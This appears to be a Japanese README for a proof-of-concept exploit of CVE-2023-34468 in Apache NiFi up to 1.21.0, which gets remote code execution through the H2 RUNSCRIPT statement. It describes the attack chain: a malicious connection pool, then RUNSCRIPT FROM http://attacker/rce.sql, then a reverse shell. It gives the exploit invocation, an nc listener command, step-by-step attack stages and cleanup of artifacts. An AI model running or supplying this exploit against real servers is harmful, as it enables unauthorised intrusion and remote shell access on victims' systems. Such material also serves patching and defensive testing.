
CVE-2023-34468 の PoC エクスプロイト — Apache NiFi <= 1.21.0 における H2 RUNSCRIPT を介した RCE
Apache NiFi <= 1.21.0 における H2 データベース RUNSCRIPT を介したリモートコード実行
Apache NiFi にはデフォルトで H2 データベース JAR が同梱されています。DBCPConnectionPool コントローラサービスを構成してこの H2 ドライバを使用できます。H2 は RUNSCRIPT ステートメントをサポートしており、リモート URL から SQL ファイルを取得して実行します。その SQL ファイルは CREATE ALIAS を介して任意の Java コードを定義し、サーバ OS 上で実行できます。
攻撃チェーン:
DBCPConnectionPool (H2 ドライバ)
→ ExecuteSQL プロセッサ
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java メソッド)
→ CALL SHELLEXEC (リバースシェル)
| ソフトウェア | バージョン |
|---|---|
| Apache NiFi | <= 1.21.0 |
| 修正バージョン | 1.21.1+ |
| Java | 任意(同梱) |
requests ライブラリ → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
ターミナル 1 — リスナー:
nc -lvnp 4444
ターミナル 2 — エクスプロイト:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 匿名アクセスと書き込み権限を確認
Step 2 ルートプロセスグループ ID を取得
Step 3 悪意のある DBCPConnectionPool コントローラサービスを作成
Step 4 コントローラサービスを有効化(リビジョンバージョン管理を処理)
Step 5 私たちの HTTP サーバ上の rce.sql を指す ExecuteSQL プロセッサを作成
Step 6 プロセッサを起動 → NiFi が rce.sql を取得 → シェルコールバック
Step 7 クリーンアップ(--cleanup フラグが設定されている場合)
| 引数 | デフォルト | 説明 |
|---|
--target | http://NiFi.target.com | ターゲット NiFi のベース URL |
--lhost | 10.10.10.10 | あなたの IP (tun0) |
--lport | 4444 | リバースシェルリスナーポート |
--http-port | 80 | rce.sql を提供するポート |
--cleanup | False | 実行後に作成されたアーティファクトを削除 |